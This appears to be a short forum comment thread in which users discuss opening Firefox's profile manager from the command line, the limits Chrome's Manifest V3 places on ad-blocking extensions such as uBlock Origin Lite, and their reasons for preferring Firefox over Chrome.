It's not a feature I use, but if you launch with "firefox --ProfileManager" it pops up a profile selection window. Maybe that's in the ballpark of what you want? https://support.mozilla.org/en-US/kb/profile-manager-create-remove-switch-firefox-profiles https://support.mozilla.org/en-US/kb/profile-manager-create-...
- damianh 2y ago
  The switching UI/UX is atrocious.
deleted 2y ago
[deleted]

nox101 2y ago

I'm curious what V3 doesn't allow that V2 does. I read an article about Ublock Origin light. It claimed it couldn't do script injection and content blocking but I've written V3 extensions that do that though maybe what I'm thinking and what ublock origin does are different things. Does anyone know specific details or maybe a pointer to docs on what's not possible?

rochak 2y ago

To all the people I know who are hell bent on using Chrome because its "superior", I say "Game on!"

ladzoppelin 2y ago

Can you guys just all go to Firefox so it has a chance, the way Chrome changes things is not acceptable and Firefox, performance wise, is just as fast even if people say otherwise. Try it and test for yourself.